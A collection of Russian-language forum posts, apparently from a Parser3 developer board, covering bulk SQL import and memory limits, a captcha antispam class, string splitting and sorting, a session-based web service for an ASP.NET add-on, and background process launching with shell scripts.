Подскажите, как рационализировать код, чтобы уменьшить нагрузку на сервер, т.к. периодически на локальном компьютер вылетает окошко с ошибкой Too many heap section, а на сервере ошибка 500?"
"75564","в конец ^list.menu (перед закрывающей фигурной скобкой) можно попробовать воткнуть:\
[code]\
^if(!def $i || !$i){\
	$i(20)\
	^memory:compact[]\
}\
^i.dec(1)\
[/code]\
\
ещё можно попробовать вокруг ^insert.menu написать $sDummy[^insert.menu{...}].\
это чтобы не отправлялось в output куча кусочков из переводов строк и табуляций, а они накапливались-бы в переменной sDummy и потом уничтожались compact-ом.\
\
P.S. версия парсера? если до 3.4.0, то лучший вариант -- обновиться.\
P.P.S. а сколько вообще файлов и запросов в сумме? есть-ли перекодирование драйвером sql (указана опция ClisteCharset)?\
P.P.P.S. самый быстрый и наименее рессурсоёмкий способ обновления БД (MySQL) на основании файлов -- LOAD DATA [LOCAL] INFILE"
"75565","Пробую настроить то что выложено в примерах, получаю ошибку unknown-fields.\
\
Порядок действий:\
- Беру turing_captcha.html из архива, кладу на сервер, захожу.\
- Вижу форму с полями, каптча, все в порядке.\
- Специально вбиваю ТОЛЬКО каптчу, чтобы произошла ошибка в методе ^check[]\
(не заполнено обязательное поле Имя)\
- Отправляю форму и вижу \"Не заполнены обязательные поля формы.\", а дальше привет, спамер... хотя должна быть выведена форма\
\
$exception.comment в блоке oAntiSpam.print говорит:\
\
[b]Unknown fields were detected while showing form: '965CD601-B0AB-4710-8AF8-9EC98D8C1455'[/b]\
\
Т.е. получается что скрипт заменяет @name у кнопки отправки, в результате приходит $form:965CD601-B0AB-4710-8AF8-9EC98D8C1455\
\
Метод @_checkAndPrint из класса Antispam проверяет поля по форме до того как туда добавляются фиктивные кнопки отправки и заменяется @name\
соответственно он не находит того что пришло из формы и ругается.\
\
Что с ним можно сделать?\
Ставить в настройках hFields.bRefuseUnknown(false) наверное неправильно..."
"75566","Количество файлов 3-4, общее количество строк около 300000.\
Опция ClisteCharset не указана.\
За LOAD DATA [LOCAL] INFILE спасибо, рассмотрю этот вариант.\
\
Правда есть одно \"но\", перед вставкой в таблицу я делаю некоторые преобразования:\
[code]\
$kod[$insert.Код]\
$parasekod[^rsplit[$kod;[ \\,\\.\\-]\\s?]]\
[/code]"
"75567","300 000. нда, серьёзно. не думаю, что тут compact сильно поможет. хотя если сейчас оно случается изредка, то может и поможет... до следующего увеличения количества добавляемых записей.\
\
в любом случае лучше попробовать подготовить данные для загрузки через LOCAL DATA. это сработает быстрее (куча insert-ов существенно медленнее чем LOAD DATA).\
\
про модификацию данных вы не сказали. её надо внимательно оптимизировать прежде всего, т.к. этот код выполняется 300 000 раз.\
\
P.S. для такого количества итераций предложенное мной ранее $i(20) надо увеличить например до $i(1000)"
"75569","Но вы можете обработать файлики на стороне сервере, sed довольно таки мощный инструмент +)\
код парсера\
[code]\
$pathTmpDir[/../data/tmp/]\
$updateFile[update.zip]\
$tmpUpdateFile[${pathTmpDir}${updateFile}]\
$updateLog[update.log]\
$updateLogFile[${pathTmpDir}${updateLog}]\
^if(def $form:action && $form:action eq clearCache){\
	$status[^file::exec[clearCache.sh]]\
	$list[^file:list[/../data/cache/_sql/]]\
}\
<h2>Обновление системы</h2>\
^if(!def $form:updateFile){\
	^if(-f \"${pathTmpDir}.pid\"){\
		$status[^file::exec[status.sh;;${pathTmpDir}.pid]]\
		^if($status.status == 0){\
			<h3>Происходит обновление системы</h3>\
			^if(-f $updateLogFile){\
				$fUpdateLog[^file::load[binary;$updateLogFile]]\
				<pre>$fUpdateLog.text</pre>\
			}\
		}{\
			<h3>Обновление ^if(-f \"${pathTmpDir}.ok\"){<span class=\"green\">успешно}{<span class=\"red\">провалено}</span></h3>\
			^if(-f $updateLogFile){\
				$fUpdateLog[^file::load[binary;$updateLogFile]]\
				<pre>$fUpdateLog.text</pre>\
			}\
			^printForm[]\
		}\
	}{\
		^printForm[]\
	}\
}{\
	^form:updateFile.save[binary;$tmpUpdateFile]\
	$form:updateFile.name \
	$status[^file::exec[run.sh;$.SQLUSER[user]$.SQLPASS[pass]$.SQLDB[dbname]$.SQLHOST[localhost];]]\
	$response:location[http://$env:SERVER_NAME/serviceinput/]\
	Для обновления статуса нажмите <a href=\"http://$env:SERVER_NAME/serviceinput/\">ссылку</a>\
}\
[/code]\
run.sh\
[code]#!/bin/sh\
./update.sh > ./../../data/tmp/update.log 2>&1[/code]\
status.sh\
[code]#!/bin/sh\
pid=`cat ./../../data/tmp/.pid`\
if `kill -CHLD $pid >/dev/null 2>&1`\
	then exit 0\
	else exit 1\
fi[/code]\
\
update.sh\
[code]#!/bin/sh\
cd ./../../data/tmp/\
echo $$ > .pid\
rm .ok\
#rm update.log\
echo $(date +\"%d.%m.%y %T\") Start unzip \
rm *.sql\
if unzip update.zip >/dev/null 2>&1 ;\
	then\
		echo $(date +\"%d.%m.%y %T\") unzip ok \
	else\
		echo $(date +\"%d.%m.%y %T\") unzip false \
		exit 1\
fi\
echo $(date +\"%d.%m.%y %T\") Start import  \
#if mysql -u$SQLUSER -p$SQLPASS -D$SQLDB -h$SQLHOST < update.sql >/dev/null 2>&1 ;\
for FILENAME in `ls *.sql`; do\
\
	#if ls *.sql | xargs cat | mysql -u$SQLUSER -p$SQLPASS -D$SQLDB -h$SQLHOST >/dev/null 2>&1 ;\
	#if mysql -u$SQLUSER -p$SQLPASS -D$SQLDB -h$SQLHOST < $FILENAME > /dev/null 2>&1 ;\
	if mysql -u$SQLUSER -p$SQLPASS -D$SQLDB -h$SQLHOST < $FILENAME > /dev/null 2> ./stderr.log ;\
	then\
			echo $(date +\"%d.%m.%y %T\") import $FILENAME \
		else\
			echo $(date +\"%d.%m.%y %T\") import $FILENAME false \
			cat ./stderr.log\
			rm ./stderr.log\
			exit 1\
	fi\
done\
rm update.zip\
echo $(date +\"%d.%m.%y %T\") update.zip delete \
echo \"\" > .ok[/code]"
"75570","Привет, дорогой ^saynumber[]! - говорит сайт.\
\
(@saynumber[] - это порядковый номер посетителя по счётчику.)\
\
^saynumber[] выдаёт слова без конечного пробела, а в конструкции [b]^saynumber[]Х[/b], где Х - что угодно, втыкается пробел.\
\
[b]Как бороться?![/b]\
\
___________________________________\
\
Чисто на всякий,\
\
[code]@saynumber[]\
$nomer($is)\
$tys(^math:floor(^eval($nomer/1000)))\
$sto(^math:floor(^eval(($nomer-$tys*1000)/100)))\
$des(^math:floor(^eval(($nomer-$tys*1000-$sto*100)/10)))\
$yed(^math:floor(^eval($nomer-$tys*1000-$sto*100-$des*10)))\
\
^if($tys > 0){^numero.menu{^if($numero.digit eq ^eval($tys*1000)){^if($yed eq 0 && $des eq 0 && $sto eq 0){[b]$numero.pronounce[/b]}{[b]$numero.continuing[/b]}}{}}}{}\
^if($sto > 0){^numero.menu{^if($numero.digit eq ^eval($sto*100)){^if($yed eq 0 && $des eq 0){[b]$numero.pronounce[/b]}{[b]$numero.continuing[/b]}}{}}}{}\
#надцатые\
^if($des eq 0001){\
$nad(^eval($des*10 + $yed))\
^numero.menu{\
^if($numero.digit eq $nad){[b]$numero.pronounce[/b]}{}\
}}{\
^if($des > 0){^numero.menu{^if($numero.digit eq ^eval($des*10)){^if($yed > 0){[b]$numero.continuing[/b]}{[b]$numero.pronounce[/b]}}{}}}{}\
^if($yed > 0){^numero.menu{^if($numero.digit eq $yed){[b]$numero.pronounce[/b]}{}}}{}}[/code]\
\
$numero - это таблица .cfg по аналогии с sections в уроках;\
$numero.pronounce - это столбец с финальным значением (\"восьмидесятый\"),\
$numero.contunuing - это столбец с промежуточным значением (\"восемьдесят\", далее следующий разряд).\
\
В таблице numero никаких пробелов совершенно точно нет."
"75571","если результат работы метода выдаётся без записи в $result[], то возможна выдача пробельных символов (который потом могут быть \"оптимизированы\" парсером). если они неприемлемы -- пользуйтесь $result-ом.\
\
P.S. всегда было так, хотя в последних версиях автоматически подавляются пробельные символы, написанные между методами.\
P.P.S. вы игнорируете советы и продолжаете писать как eval в местах, где они не нужны (в этом куске кода ВСЕ eval нужно выкинуть и 'eq' заменить на '=='), так и пустые фигурные скобки, которые затрудняют чтение кода."
"75572","баг с DATA_DIR тоже исправил.\
\
P.S. отпишитесь после проверки?"
"75573","Спасибо!\
\
С eval понятно, а что с фигурными скобками? Вторая пара в ^if-ах необязательна, если она пустая? Просто ^if(2 == 2){ура}, что ли?\
\
И намекните, пожалуйста, [i]могут быть \"оптимизированы\" парсером[/i] - это куда копать? Мне строковые манипуляции с хешем ещё для русификации sql-дат понадобятся :-\\."
"75574","про \"могут быть оптимизированы\" -- это совсем не ваш случай, ведь оптимизация пробельных символов -- это удаление подряд идущих символов и оставление только первого из них. а вам даже один пробельный символ мешает.\
\
так что result и только result."
"75575","Спасибо! Перезалил, заработало без шаманств, bRefuseUnknown включено.\
\
Обнаружил ещё небольшой глючок, в капче если задавать $.iNoiseDensity(0), шум не отключается. Заменил строчку в AntispamTuringCaptcha.p:\
\
[code]#$iNoiseDensity(^if($hParam.iNoiseDensity)($hParam.iNoiseDensity;30))\
$iNoiseDensity(^if(def $hParam.iNoiseDensity)(^hParam.iNoiseDensity.int(0);30))[/code]\
\
Хочется ещё символы покрупнее... но это рисовать надо.\
\
UPD. Добавил в AntispamTuringCaptcha.p возможность указать набор символов, чтобы можно было в разных местах разные (не удаляя картинки с диска):\
\
[code]^if(!$tSymbol){\
	^self._abort[create;Directory $sImageDir doesnt contain information about available symbols]\
}{\
	^if(def $hParam.symbols){\
		$tSymbol[^tSymbol.select(^hParam.symbols.pos[$tSymbol.name] != -1)]\
		^if(!$tSymbol){\
			^self._abort[create;No valid symbols found]\
		}\
	}\
}[/code]\
\
Задается строкой: $.symbols[abcde]"
"75576","Из MySQL приходят новости, новость называется twitter.\
В ней есть, в частности, поле времени.\
\
Оно, разумеется, в стандартном формате 12:34:56.\
А мне нужны только часы и минуты.\
\
Пишу:\
\
[code]# берём колбасу\
$mestime[$twitter.time]\
\
# режем\
$normmestime[^mestime.split[:;lh]]\
$nhour[$normmestime.0]\
$nmin[$normmestime.1]\
\
# кладём на бутер\
$normaltime[$nhour:$nmin]\
[/code]\
\
Получаю: [i]/www/auto.p(133:26): 'nhour' class is undefined [parser.runtime] [uri=/, method=GET, cl=0][/i]\
\
Ему не нравится момент [i]split[:;lh][/i], судя по всему. [b]Как дооформить разделитель в виде двоеточия?[/b] Метод тыка со знаками минуты и с птичками пока не помог."
"75577","Полезно будет прочитать [url=\"http://parser.ru/faq/lang/\"]FAQ[/url]."
"75579","отключение шума подправлю (вообще антиспам с генерацией картинок я никогда нигде не использовал и не собираюсь, поэтому возможны ещё косяки).\
\
а покрупнее символы сделать можно:\
- указать height у изображения (пусть браузер масштабирует)\
- сгенерить буковки. там (см. каталог helpers) и описание есть чем генерить и файлик есть, который созданные буковки по нужным папочкам разложит."
"75582","А потом скормите SQL серверу напрямую."
"75583","Мы не знаем вашей нумерации строк, но ругался он именно на строку \
[code]$normaltime[$nhour:$nmin][/code]\
\
Если она у вас была не 133-я (в момент ошибки, до каких либо правок в коде) - значит у вас что то не так с подсчетами или текстовым редактором."
"75584","Всё, что вы написали можно заменить на \
\
[code]^twitter.time.left(5)[/code]\
\
если время в SQL-поле у вас действительно в поле вида TIME"
"75585","Я уже давно использую этот класс, и хватает одного метода защиты с 4 кнопками отправить, за все время не получил из формы обратной связи спам, хотя время от времени поглядываю логи, а а его там много.\
Для честных пользователей каптча только преграда. Для спамеров маленькая гора, даже если у вас там будет изображение которое не смогут распознать их роботы, они используют сервисы с индусами для распознания."
"75586","Проблема начинается еще при переборке файла. Причем $sDummy[] никакого положительного эффекта не дает.\
\
С отправкой в sql отлично справляется LOAD DATA INFILE.\
\
Если бы не надо было обрабатывать файл, проблем бы не возникло."
"75587","Зачем мучать парсер."
"75588","Преобразования у меня такого характера:\
[code]\
$kod[$insert.Код]\
$parasekod[^rsplit[$kod;[ \\,\\.\\-]\\s?]]\
\
$brand[$insert.Производитель]\
$parsebrand[^rsplit[$brand;[ \\,\\.\\-]\\s?]]\
\
$price[${insert.Цена}]\
$priceR{^price.match[(\\d+)\\,(\\d+)][g]{${match.1}.${match.2}}}\
[/code]"
"75590","[code]\
f = open('somefile.txt','r')\
for line in f.readlines():\
	# do something\
f.close()\
[/code]\
\
Делов-то..."
"75591","В вашем случае он должен заметно помочь.\
Какое потребление дает rusage с использованием\
^memory:compact и без? В общем нужны цифры.\
\
tezro выше не совсем прав, если нет необходимости\
хранить в памяти много результата (объектов, etc),\
то сборка мусора все временные объекты очень\
эффективно освобождает."
"75592","но по сути согласен полностью -- защита без капчи прекрасно справляется (и будет справляться до тех пор пока этот метод защиты не станет настолько распространён, что его обход включат в существующие готовые спам-средства).\
\
а если захотят заспамить конкретно ваш ресурс -- заспамят в любом случае, причем в случае \"моей\" капчи сделать это будет гораздо легче других (нет деформации букв, нет линий, нет градиентов цвета). ибо сделал я ещё лишь как довольно простой пример."
"75593","Подключил Erusage.p. На локальном компьютере все работает отлично.\
Но на сервере, как размер таблицы доходит 2 мб, вылазит 500 ошибка.\
\
Поддержка хостинга пишет: \"выполнение процесса прерывается по лимитам выделения процессорного времени\"\
\
PS Цифры: [code]begin/end/collected: 1704/34168/656 KB[/code]"
"75596","Можно автоматически генерировать имена классов, для скрытия лишних кнопок, а по поводу каптчи я смотрю статьи на хабре, там автоматизируют такие варианты, которые я сам не с первого раза читаю.\
А по поводу, если захотят заспамить конкретный ресурс, то тут увы средства борьбы уже другие)"
"75597","вы используете этот rsplit: http://www.spearance.ru/parser3/rsplit/ ?\
\
если да, то для вашего случая (да и вообще) считаю его очень неоптимальным.\
\
предлагаю переписать:\
- заранее скомпилить объект-ы класса regex, а в цикле лишь использовать их (в вашем случае это будет минус 3*300000 компиляций шаблона)\
- избавиться от ^match[...][g]{^append{}}. это очень хреново. ничего не мешает сразу от match-а получать таблицу, а не добавлять к ней на парсере записи построчно (в вашем случае это минус туча append-ов)\
- выкинуть неиспользуемый switch (минус туча .lower)\
\
думаю эта паределка однозначно решит проблему с Too many heap section, но вот с ограничением времени выполнения скрипта на хостинге боюсь ничего не выйдет. вы делаете очень много работы. во время выполнения одного скрипта вы не спишитесь в ваши ограничения. надо разбивать работу на куски (для начала выносить sql отдельно)."
"75598","Мало подключить, надо вызывать ^erusage:compact в цикле - судя по цифрам, сейчас это не делается. Но если проблема не с памятью, а с CPU (сколько процессорного времени сейчас скрипт потребляет по rusage?), то надо повышать производительность - Миша выше рассказал направление, в котором нужно двигаться."
"75599","нативные программы типа sed справятся с этим быстрее."
"75600","Ну, типа menu, но [b]не сверху вниз по строкам, а в порядке возрастания/убывания значений[/b] в одном из столбцов?\
\
Как \"sort by date desc\" в mysql. Чтобы сначала прочлась вся таблица, а потом построчно выдавалась в порядке сортировки."
"75602","http://www.parser.ru/docs/lang/tablesort.htm"
"75605","Здравствуйте!\
Вот решил сделать сортировку таблицы силами БД. И не пойму - какое условие нужно задать при нескольких параметрах строки: sort_by=name&order=asc.\
если одно значение, то всё понятно:\
[code]^if($form:sort_by eq \"name\"){\
  запрос\
}[/code]\
а если применить дополнительный параметр asc/desc (&order=asc), как быть, какое условие должно быть?\
Объясните пожалуйста, раз и навсегда."
"75607","Наверно меня не поняли,\
какое условие не в самой БД нужно (с этим все понятно), а в Парсере.\
То есть, если у нас в адресной строке &sort_by=name\
то делаем к этому событию условие:\
[code]^if($form:sort_by eq \"name\"){\
  соответствующий запрос\
}[/code]\
а если в адресной строке &sort_by=name&order=desc\
то какое к этому событию должно быть условие, не пойму. Это у меня не работает:\
[code]^if($form:sort_by eq \"name\" && $form:order eq \"desc\"){\
  соответствующий запрос\
}[/code]"
"75608","[quote]\
Это у меня не работает\
[/quote]\
\
условие написано правильно и обязано работать.\
- что происходит у вас?\
- что вы ожидаете, что произойдёт?"
"75609","Прошу прощения, все работает."
"75610","..ох не со своего ноута"
"75613","У нас есть сайт написанный на parser3. Там реализована регистрация пользователей. Сейчас появилась задача организовать на сайте вебсервис и передавать идентификатор сессии и данные пользователя если он залогинен. Можно ли такое сделать на парсере?"
"75614","Если на сервере вы получаете эти идентификаторы по http-протоколу (параметры, куки, заголовки), то и передать их любому веб-сервису проблемы не составит."
"75615","быстренько набросал свой вариант оператора rsplit (подробно не тестировал. структура результирующей таблицы изменилась).\
\
вот сравнение (rsplit0 -- реализация Eugene-а, rsplit1 -- моя). можно сделать copy/paste и посмотреть самостоятельно. для измерения используется Erusage.p:\
\
[code]\
@main[]\
$cnt(9999)\
$t[^table::create{text	regex	options	method	col	res	check\
12:01. 14:05, 18:00,21:20 Спортивные новости	[,\\.]\\s?		rsplit0	piece	12:01 14:05 18:00 21:20 Спортивные новости	0	warming up\
\
12:01. 14:05, 18:00,21:20 Спортивные новости	[,\\.]\\s?		rsplit0	piece	12:01 14:05 18:00 21:20 Спортивные новости	1\
2004-12-22 13:30	[^^0-9]	r	rsplit0	piece	30 13 22 12 2004	1\
2004/12//22	/{1,2}	r	rsplit0	piece	22 12 2004	1\
1/2/3/4/5/6/7/8/9/10/11/12/13/14/15/16/17/18/19/20/21/22/23/24/25/26/27/28/29/30	/	l	rsplit0	piece	1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30	1\
\
12:01. 14:05, 18:00,21:20 Спортивные новости	[,\\.]\\s?		rsplit1	1	12:01 14:05 18:00 21:20 Спортивные новости	1\
2004-12-22 13:30	[^^0-9]	r	rsplit1	1	30 13 22 12 2004	1\
2004/12//22	/{1,2}	r	rsplit1	1	22 12 2004	1\
1/2/3/4/5/6/7/8/9/10/11/12/13/14/15/16/17/18/19/20/21/22/23/24/25/26/27/28/29/30	/	l	rsplit1	1	1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30	1\
}]\
\
\
^memory:compact[]\
\
^t.menu{\
	^do[$t.text;$t.regex;$t.options;$t.method;$t.col;$t.res;$t.check]\
	^memory:compact[]\
}\
\
\
\
@do[text;regex;options;method;column;valid;doCheck][m;i;parts;v]\
$m[$$method]\
^Erusage:measure{^for[i](0;$cnt){$parts[^m[$text;$regex;$options]]}}[v]\
^if($doCheck){\
	<hr />\
	^check[$text;^parts.menu{$parts.$column}[ ];$valid]\
	Time: $v.time ms<br />\
	KB: $v.memory_kb\
}\
\
\
\
\
@check[text;res;valid]\
$text => $res -- ^if($res eq $valid){OK}{<b>FAIL</b>}<br />\
\
\
\
@rsplit0[text;regex;delimiter][table_split]\
^if(def $text && def $regex){\
	$table_split[^table::create{piece}]\
	$result[^text.match[(.*?)(?:$regex)][g]{^if(def $match.1){^table_split.append{$match.1}}}]\
	^if(def $result){^table_split.append{$result}}\
	^if(!def $delimiter){$delimiter[lv]}\
	^switch[^delimiter.lower[]]{\
		^case[r;rv;vr]{$result[^table::create[$table_split;$.reverse(1)]]}\
		^case[rh;hr]{$result[^table::create[$table_split;$.reverse(1)]]$result[^result.flip[]]}\
		^case[h;lh;hl]{$result[^table_split.flip[]]}\
		^case[DEFAULT]{$result[$table_split]}\
	}\
}{\
	^throw[parser.runtime;rsplit;parameters ^$text and ^$regex must be defined]\
}\
\
\
@rsplit1[text;regex;delimiter][table_split]\
^if(def $text && def $regex){\
	$result[^text.match[(.+?)(?:$regex|^$)][g]]\
}{\
	$result[^table::create[nameless]{}]\
}\
^if($result && def $delimiter){\
	^if(^delimiter.pos[r]>=0 || ^delimiter.pos[R]>=0){\
		$result[^table::create[$result;$.reverse(true)]]\
	}\
	^if(^delimiter.pos[v]>=0 || ^delimiter.pos[V]>=0){\
		$result[^result.flip[]]\
	}\
}\
[/code]\
\
у меня на компе результаты такие:\
[code]\
 12:01. 14:05, 18:00,21:20 Спортивные новости => 12:01 14:05 18:00 21:20 Спортивные новости -- OK\
 Time: 205.004 ms\
 KB: 14616 \
\
 2004-12-22 13:30 => 30 13 22 12 2004 -- OK\
 Time: 210.003 ms\
 KB: 16512 \
\
 2004/12//22 => 22 12 2004 -- OK\
 Time: 165.002 ms\
 KB: 12404 \
\
 1/2/3/4/5/6/7/8/9/10/11/12/13/14/15/16/17/18/19/20/21/22/23/24/25/26/27/28/29/30 => 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 -- OK\
 Time: 720.012 ms\
 KB: 64264 \
\
 12:01. 14:05, 18:00,21:20 Спортивные новости => 12:01 14:05 18:00 21:20 Спортивные новости -- OK\
 Time: 100.001 ms\
 KB: 3812 \
\
 2004-12-22 13:30 => 30 13 22 12 2004 -- OK\
 Time: 115.002 ms\
 KB: 5696 \
\
 2004/12//22 => 22 12 2004 -- OK\
 Time: 105.002 ms\
 KB: 5452 \
\
 1/2/3/4/5/6/7/8/9/10/11/12/13/14/15/16/17/18/19/20/21/22/23/24/25/26/27/28/29/30 => 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 -- OK\
 Time: 220.003 ms\
 KB: 22460\
[/code]\
\
т.е. новый rsplit1 работает в ~2 раза быстрее, использует в ~2 раза меньше памяти и занимает в 1.7 раза меньше байтиков :)\
\
при обработке больших строк (когда в результирующей таблице будет много записей) результат ещё лучше в пользу rsplit1 (четвёртый тест).\
\
P.S. по хорошему надо ещё приделать проверку на тип $regex (string/regexp)"
"75617","а есть ли какие-либо примеры, где можно почитать как всё это организовать можно?"
"75619","Веб-сервис работает точно также как и обычные страницы, только ответы отдает в каком-то формализованном, машиночитаемом формате (xml, json, csv и пр.). Иногда и запросы приходят в каком-нибудь xml'е, тогда надо будет их вытащить из тела post-запроса. Никаких проблем сделать это на Парсере нет. \
\
Поскольку вы не пишете как конкретно у вас организована авторизация, то и советы дать сложно. Но наверняка ей можно просто передать нужные идентификаторы сессии.\
\
Если это не помогает, то можно вообще воспользоваться http-basic аутентификацией (лучше поверх https), т.е. передавать логин и пароль при каждом запросе к веб-сервису.\
\
p.s. В принципе можно реализовать и протокол [url=http://ru.wikipedia.org/wiki/OAuth]OAuth[/url], но это уже несколько сложнее."
"75620","у нас авторизация организованна так -- создаётся кука и при кадой загрузке странице создаётся таблица $user в которой хранятся все данные пользователя типа:\
\
$login[yes]\
\
$user.id\
$user.login\
$user.age\
\
то есть нам нужно передать в xml-формате значение переменной $login и номер $user.id -- $login eq yes, то по $user.id приложнеие найдёт всё что ему нужно о пользователе\
\
вопрос -- какой из описанных вами способов лучше использовать?"
"75621","Поясните несколько моментов:\
- Вам нужно у себя на сайте сделать веб-сервис или обратиться к стороннему?\
- Если на своем, то для чего этот сервис предназначен, т.е. кто и для чего его будет использовать?"
"75622","сайт размещён на вин-платформе и сделан на парсере\
\
на нашем сайте мы создаём папку, в которую сторонние разработчики разместят свой софт на asp.net\
\
их софт реализует одну из услуг сайта (остальные написаны на парсере)\
\
авторизация и работа в личном кабинете происходит на стороне парсера\
\
в тот момент когда пользователь уходит пользоваться их услугой, их софт должен определить -- авторизован ли пользователь в данный момент или нет, и если авторизован они должны получить доступ к его записям в базе данных чтобы выяснить разные сопутствующие вещи, например, величину накопленной скидки и т.п.\
\
от нас они просят реализовать для этих целей вебсервис, который отдаст им всю эту информацию"
"75623","... вы сами и ответили на свой вопрос:\
- В отдельную папку вешаете веб-сервис на Парсере (папку лучше закрыть логином-паролем http-авторизации и ограничить доступ по IP сервера/локалхоста).\
- В сам сервис передаете get-параметр с идентификатором сессии (/ws/?sid=12345; сервис на asp.net может взять его из  куки на вашем сайте самостоятельно). Можно сделать и в rest-стиле: get-запрос на /ws/12345 (для этого понадобится некий аналог mod_rewrite'а для IIS).\
- На основании идентификатора сессии находите пользователя и выдаете ответ в xml-формате с данными пользователя. Если пользователя нет или срок сессии закончился, то выдаете ошибку в том же xml-формате (для rest-варианта лучше еще и статус 404 выдать)."
"75624","ага спаисбо большое 00 не думал что вебсервис организуется так просто, так это выходит прост модуль который выдаёт xml-ответ?\
\
тут только вопрос -- а почему asp.net не может из куки просто взять id пользователя сразу и сделать запрос не по номеру сессии а $user.id?"
"75625","... но мне кажется, что хранить в куках id пользователя не совсем безопасно, а при проверке все равно необходимо будет проверять и валидность самой сессии. Если не проверять сессию, то что мне помешает просто поменять id клиента и получить доступ к данным, которые мне не принадлежат?"
"75626","Обновились до 3.4.1 - и обнаружилась такая фишечка: если объявлен @GET_DEFAULT[], то невозможно использовать в классе переменные, не объявленные в конструкторе - даже если это $key и $value в теле [code]^hash.foreach[key;value]{}[/code]\
\
Никаких опций классу не выставлено.\
\
Это задуманное поведение? Подскажите, пожалуйста, где в документации можно уточнить, что это за явление, потому что пока найти не удалось.\
\
upd: \"Невозможно использовать\" = вызывается GET_DEFAULT, в котором у меня наглый ^throw :)"
"75627","не объявлены локально => переменные класса\
не были инициализированы (в @auto[], конструкторе, при вызове предыдущего метода) => не определены\
не определены => не могут быть найдены по именам, указанным у foreach => вызывается default getter.\
\
по моему всё логично."
"75628","В прошлой версии что отличалось в этой схеме? \
\
Не очень удобно теперь key и value локализовывать в каждом использующем foreach методе, а объявлять их заранее - это безумие какое-то.\
\
Вообще, ты считаешь, логично, что переменные из for и foreach не локальны по умолчанию?\
\
[i]Оfftop: у нас пополнение, и ищем ещё. )[/i]"
"75630","[quote]Если она указана, то для обращения к полям объекта или класса необходимо пользоваться системной переменной self.[/quote] - точно для ленивых? )"
"75632","Из существенного добавлены \"защиты\" от зацикливания внутри GET_DEAFULT и SET_DEFAULT.\
\
А можно пример кода, который по другому себя ведет в 3.4.1?\
\
По делу: конкретно key/value можно инициализировать в конструкторе базового для все класса (если конечно такой имеется), но по мне так это должна быть локальная переменная (а то попадется foreach внутри foreach), и тут уж действительно - либо locals, либо явное декларирование."
"75633","Для обращения (чтения/выполнения) self можно не указывать. Обязательно только для записи. Оно правда так случайно получилось. :)"
"75635","Можно сделать либо неудобно, либо глупо. \
Не хочешь неудобно - делай глупо.\
Не хочешь глупо - делай неудобно.\
\
Положено - ешь, не положено - не ешь. )"
"75636","... т.е. либо включать режим а-ля Питон, при котором все переменные метода являются локальными и для записи в поля класса надо применять переменную self, либо использовать штатный механизм при котором все локальные переменные надо явно описывать в методе. Это нереально круто и отсутствует в куче других языков. Я всегда использую явное описание, т.к. считаю, что locals для извращенцев, тем не менее каждый может выбрать тот способ, которые ему ближе. \
\
Что касается циклов, то в данном случае принудительное «залокаливание» будет противоречить общему принципу создания функций-замыканий, что только усилит путаницу, но ничего не даст программистам."
"75637","Кажется, я тупанул, и это всё-таки @SET_DEFAULT[]"
"75638","Кажется, я тупанул, и это всё-таки @SET_DEFAULT[]\
И в 3.4.0 он просто не работал :-)\
\
Простите за беспокойство. :)"
"75640","Добрый день!\
Не могу извлечь серийный номер фотоаппарата из EXIF данных.\
В основной спецификации EXIF этого не описано,а в картинке, в разделе aux есть инфа, но какой ключ хеша?\
\
Подскажите, как штатными средствами парсера достать эту инфу?"
"75641","Может я туплю, но\
[code]^for[i](0;$hash.list-1){\
	$hash.node[$hash.list.$i]\
		^if(def $form:available && !^hash.node.selectNumber[number(available_count)] > 0){ \
			^continue[]\
		}\
	^hash.node.selectString[string(id)]\
}[,][/code]\
^continue[] внутри цикла бросает undefined method.\
\
Parser/3.2.1sp2 (compiled on i686-pc-linux-gnu)"
"75643","В классе [url=http://code.google.com/p/dstop/source/browse/trunk/Debug.p]dstop/Debug.p[/url] есть метод showObject, которые облегчает задачу вывода содержимого переменной."
"75644","Спасибо.\
\
Даже в голову не пришло, что их раньше не было."
"75645","Спасибо, ваш пример оказался сложный, написал сам рекурсивную печать...\
\
Обошел, нет там ничего нужного, не читается видимо парсером сверх спецификации.\
\
Надо рыть внешнюю прогу, эх, гдежхалява... :)"
"75647","Необходимо запустить, например, калькулятор и продолжить выполнение скрипта.\
Пробую так:\
[code]$fFile[^file::exec[c:\\windows\\system32\\calc.exe]][/code]\
В итоге скрипт висит и чего-то ждет, калькулятор не запускается.\
\
В винде в консоли можно в бат-файле прописать \"start calc.exe\", калькулятор запустится, а команды консоли будут отрабатывать дальше по списку.\
\
Если запустить бат-файл указанным выше способом, то та же картина.\
\
Есть ли способ запустить скрипт/приложение и не дожидаться окончания его работы?"
"75648","Тоже интересует такая возможность но под linux, пробовал указывать &, все равно parser ждал окончания фоновой задачи."
"75650","что весь stdout и stderr, перенаправляют туда куда мне на надо,хотя я не пробовал пере направить его сам."
"75651","Если не перенаправлять, то родительский процесс будет ждать ответа. Чего парсер и делает."
"75652","Мне это надо для обновления базы, раз в месяц с одной конторы приходят обновления в виде sql файлов. Один из них более 130м. Файлы приплывают в архиве через форму, который распаковывается на сервере.\
Увы у хостинга есть ограничения на время ожидания (nginx), после которого иногда получается ошибка. ДА и логичнее всего, дождаться заливки файла на хост, и запустить процесс обновления в фоном режиме, а при обновлении странички показывать лог этого процесса.\
Было удобно, добавить флаг, не ожидать ответа. А просто запустить процесс в свободное плавание.\
\
Попробовал вот так\
[code]$status[^file::exec[run.sh;]][/code]\
где\
run.sh\
[code]nohup ./update.sh > ./../../data/tmp/update.log 2>&1[/code]\
Все равно браузер висел, пока update.sh не было полностью выполнен."
"75653","я бы сделал так:\
1. есть форма, у которой обработчик -- парсер. через форму на сервер просто грузится файл и записывается в определённое место (возможно происходит его распаковка)\
2. есть sh-скрипт, запускаемый по cron, проверяющий наличие файла, и если файл есть -- делающий его распаковку и выполнение, записывая результат в log-файл и удаляя исходный файл после завершения работы.\
\
при отображении формы (шаг 1) там-же показывается результат последнего выполнения загрузки (log).\
\
собственно sh-скрипт может реагировать не на само наличие файла с данными, а на какой-нить flag-файл (чтобы не хранить несколько последних версий данных и иметь возможность повторно загрузить их не ожидая заливки файла браузером на сервер)"
